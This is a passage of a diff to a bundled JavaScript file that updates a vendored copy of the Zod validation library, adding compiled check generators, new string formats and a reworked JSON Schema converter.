generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -57402,6 +61577,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -57460,20 +61655,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -57815,6 +62001,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -57831,23 +62025,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -58014,7 +62208,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -58087,7 +62281,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -58152,8 +62347,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -58172,8 +62367,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -58181,13 +62376,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -58201,7 +62398,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -58218,12 +62425,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -58237,6 +62457,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -58260,13 +62482,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -58277,10 +62499,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -58302,15 +62529,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -58362,10 +62589,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -58387,9 +62723,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -58433,8 +62769,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -58452,19 +62816,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -58507,7 +62875,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -58548,19 +62916,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -58569,10 +63025,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -58581,19 +63042,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -58601,13 +63062,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -58631,21 +63089,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -58656,15 +63122,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -58673,35 +63135,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -58727,10 +63191,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -58742,93 +63204,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in 